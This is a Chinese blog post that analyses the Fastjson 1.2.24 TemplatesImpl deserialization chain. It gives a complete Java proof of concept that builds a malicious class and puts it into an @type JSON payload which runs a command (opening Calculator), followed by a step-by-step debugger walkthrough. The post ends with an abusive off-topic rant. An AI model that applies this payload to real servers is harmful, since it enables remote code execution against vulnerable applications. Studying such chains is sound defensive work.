FastJson Jdbc链
2022-8-7 10:21:51 Author: F12sec(查看原文) 阅读量:53 收藏

maven:

<dependencies><dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.10</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version></dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency></dependencies>

import com.alibaba.fastjson.JSON;### 利用链

1.JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

poc

package com.akkacloud.demo;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.codec.binary.Base64;public class fastjsonTest {public static class test{}public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(test.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"open/System/Applications/Calculator.app\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "akka1" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));byte[] evilCode = cc.toBytecode();String evilCode_base64 = Base64.encodeBase64String(evilCode);System.out.println(evilCode_base64);final String NASTY_CLASS ="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String payload ="{\"" +"@type\":\"" + NASTY_CLASS + "\"," + "\"" +"_bytecodes\":[\"" + evilCode_base64 + "\"]," +"'_name':'asd','" +"_tfactory':{ },\"" +"_outputProperties\":{ }," + "\"" +"_version\":\"1.0\",\"" +"allowedProtocols\":\"all\"}\n";ParserConfig config = new ParserConfig();Object obj = JSON.parseObject(payload, Object.class, config,Feature.SupportNonPublicField);}}

漏洞利用条件

1.服务端使用parseObject()时,必须使用如下格式才能触发漏洞:

JSON.parseObject(input,Object.class, Feature.SupportNonPublicField)

2.服务端使用parse()时,需要

JSON.parse(text1,Feature.SupportNonPublicField)

漏洞调试

我们在parseObject下断点,我们跟进 parseObject方法

然后我们跟进parseObject方法 

这里的第一个参数就是我们的payload 所以我们跟进去 可以看到

此时的input就是我们的恶意字符 我们跟进去

可以看到我们来到了他的重载方法 此时的input依旧是我们的恶意字符 这里比较了一下

featureValues 和 feature 然后实例化了DefaultJSONParser这个类 因为这里存在我们input的恶

意字符 所以我们跟进去

来到了他的重载方法 我们继续跟进

可以看到 我们进入到了JSONScanner方法 这里将我们的input恶意字符 赋值给了text 然后获取它的长度 然后调用了next方法 我们跟进去

可以看到我们来到了DefaultJSONParser的重载方法 

此时将input 赋值给input 然后此时我们的lexer里面存储的就是恶意字符串的对象

然后我们往下走 可以看到此时lexer.getCurrent(); 

返回的就是我们的 "{" 所以我们进入if 这里if里面又调用了lexer.next方法 

上面我们看到过 当时lexer里面存储着next的恶意对象 

此时进行调用然后我们往下走可以看到 

这里lexer.token被赋值为了12 我们返回Json.class

我们来到这里 这里又调用了parseObject方法 所以我们跟进去

可以看到 此时判断了token 

因为我们在DefaultJSONParser对象里面的方法里面赋值为了12 

然后获取一个ObjectDeserializer对象 去调用了deserialze方法 我们跟进去

进入到deserialze方法之后 此时我们上一步传进去的this被赋值给了parser 

然后判断是不是GenericArrayType类型 

我们传进去的是object.class

进入else

type instanceof Class&& type != Object.class && type != Serializable.class

为ture则调用

parser.parseObject(type) 否则调用parser.parse(fieldName),这里肯定是flase的进入parser.parse(fieldName) 因为type 就是Object.class 我们继续跟进

这里我们来到了parse方法 首先将lexer复制给了JSONLexer 可以看到this.lexer是包含我们的恶意

对象的 然后进行token判断 我们当时赋值的token为12 所以我们直接定位到12

来到token为12这里 这里是一个常量 他所对应的值就是12 这里调用了parseObject方法· 所以我们跟进去

因为token等于12 所以我们直接来到else 因为前面条件都不成立 这里进行判断如果ch == " 的话,他进入if 前面我们赋值过ch 当时赋值的ch是等于" 所以我们进入if 这里调用了scanSymbol方法,这里传进去两个参数 一个是symbolTable 一个是 双引号 我们可以清楚的看到 此时的,symbolTable就是@Type 

然后我们往下走

此时来到这里 可以清楚的看到此时的key就是@Type 这里进行了判断 如果key为

JSON.DEFAULT_TYPE_KEY的话 进入if 其实JSON.DEFAULT_TYPE_KEY返回的就是@Type 所以我们进入if

我们跟进去scanSymbol方法查看 可以看到它进行一系列的字符串获取 @type字段传进去的值 赋值给ref 其实就是我们的templatesImpl

然后通过loadClass进行实例化该类 可以清楚的看到此时的typeName就是我们的templatesImpl我们继续往下走

判断是不是Class对象

明显是,继续跟进ParserConfig的this.getDeserializer((Class)type,type);

走到这我们也可以发现class就是我们在@type存入的东西TemplatesImpl

然后接着往下走 这里创建了一个反序列化的bean 

进去对clazz进行了一系列的赋值

然后我们来到了JavaBeanInfo.build方法 然后我们跟进去

这里来到了build方法

这里我们可以看到这里通过遍历获取到了templatesImpl的get以及set方法 

这里只贴一个get方法的图

@Type拿到类之后 通过反射拿到这个类的所有方法存到methods中 然后遍历获取get以及set方法 然后我们来到propertyName这里 这里可以看到循环获取方法名getOutputProperties,然后进入循环,然后根据红框,从第四位取起,然后变成小写 所以propertyName就是outputProperties

然后进行判断ieldList这个数组里面有没有这个方法,没有就把他加进去,再返回JavaBeanInfo

然后我们返回DefaultJSONParser 然后可以看到这里的deserialze已经包含了我们的beaninfo(存放了outputpropertie 我们跟进去deserialze方法

经过两次重载方法 此时我们来到deserialze方法

我们可以看到 sortedFieldDeserializers中存放了我们的outputproperties 从构造函数中可以看到是通过beanInfo赋值得到的

剩下就是循环Json数据 然后我们定位到parseField方法 

继续调用了smartMatch方法 我们跟进去

进入后判断一下有没有key的fieldDeserializer

如果没有就把_bytecodes替换为bytecodes

然后我们进入到进入到com.alibaba.fastjson.parser.deserializer的

DefaultFieldDeserializer的parseField方法

我继续走到this.setValue(object, value)

此处传的object是TemplatesImpl ,value为恶意代码类的字节,value就是通过parser读取出来的

这个过程会在JavaBeanDeserializer循环进行

知道获取完所有的json字段,直到method !=null

我们的json字段中只有_outputProperties符合,成功进入if,然后反射执行

知识星球的文章以后由我来更新

月球那件事情别问了,出事了不方便讲 还有发文章的那个B,你妈的脑子有问题吧?挂人挂团队?你亲戚是诈骗犯你也是诈骗犯是不是,一棒子打死一船人?

聊天没一点素质没一点脑子,加上好友直接问  被跑也是活该


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5NjU3NzE3OQ==&mid=2247488017&idx=1&sn=b827bbae13e921bd8f698950b097e2fe&chksm=c07fa9e5f70820f3ccce70a8f8d8f6072d3785f13f4f029b495b9c2d4be1cfc15a84683add76#rd
如有侵权请联系:admin#unsafe.sh